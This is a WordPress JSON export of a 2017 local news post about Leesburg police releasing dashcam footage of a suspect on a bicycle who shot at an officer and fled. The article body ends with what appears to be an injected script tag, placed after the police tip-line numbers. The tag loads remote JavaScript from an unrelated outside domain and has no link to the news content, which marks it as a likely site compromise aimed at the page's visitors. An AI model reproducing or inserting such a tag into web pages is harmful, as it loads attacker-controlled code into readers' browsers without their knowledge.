{"id":218034,"date":"2017-12-05T15:19:12","date_gmt":"2017-12-05T20:19:12","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=218034"},"modified":"2017-12-05T15:19:12","modified_gmt":"2017-12-05T20:19:12","slug":"leesburg-police-release-dashcam-footage-monday-night-shooting","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/leesburg-police-release-dashcam-footage-monday-night-shooting\/","title":{"rendered":"Leesburg Police Release DashCam Footage from Monday Night Shooting"},"content":{"rendered":"<p><strong>LEESBURG &#8211;\u00a0<\/strong>Detectives have released the dashcam video footage from a <strong><a href=\"https:\/\/wordpress-1.tempurl.host\/police-continue-manhunt-suspect-shot-officer\/\">shooting that occurred\u00a0Monday night<\/a><\/strong> near US Highway 441 and Lake Street just after 10:30 p.m. according to reports.<\/p>\n<p>The video footage shows the officer attempting to make a traffic stop on a suspect for riding a bicycle with no visible tail lights.<\/p>\n<p>[su_youtube_advanced url=&#8221;https:\/\/www.youtube.com\/watch?v=ykG9ZnZjV6c&amp;feature=youtu.be&#8221; rel=&#8221;no&#8221; theme=&#8221;light&#8221; https=&#8221;yes&#8221;]<\/p>\n<p>The suspect appears to cooperate initially when officers commanded\u00a0him to show his hands, however, immediately puts his hands down and appears to reach into his waistband area.<\/p>\n<p>The suspect then refuses to comply with further commands to show both of his hands, the report stated, keeping one hand hidden from the officer.<\/p>\n<p>During the incident, the suspect suddenly bolts across the street as he fires a shot toward the officer, missing the officer and striking the windshield of the patrol vehicle.<\/p>\n<p>K-9 deputies and officers from Leesburg and Lake County as well as the Lake County Aviation Unit conducted a search of the area blocking off several streets but were unable to locate the suspect.<\/p>\n<p>Although an official description has not yet been released, the video shows that the suspect is possibly a young white male with what appears to be some facial hair.<\/p>\n<p>Anyone with information on this incident or the identity of the suspect is asked to contact detectives at the Leesburg Police Department at (352) 728-9862 or Crimeline at 1-800-423-TIPS.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG &#8211;\u00a0Detectives have released the dashcam video footage from a shooting that occurred\u00a0Monday night near US Highway 441 and Lake Street just after 10:30 p.m.&#8230;<\/p>\n","protected":false},"author":1,"featured_media":218035,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[2053,80,3211,750,82,394,3210,97,111],"class_list":["post-218034","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-deputies","tag-lake-county","tag-lake-street","tag-lcso","tag-leesburg","tag-lpd","tag-manhunt","tag-officer","tag-shooting","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/bicycle-shooting-5.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218034","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=218034"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218034\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/218035"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=218034"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=218034"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=218034"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}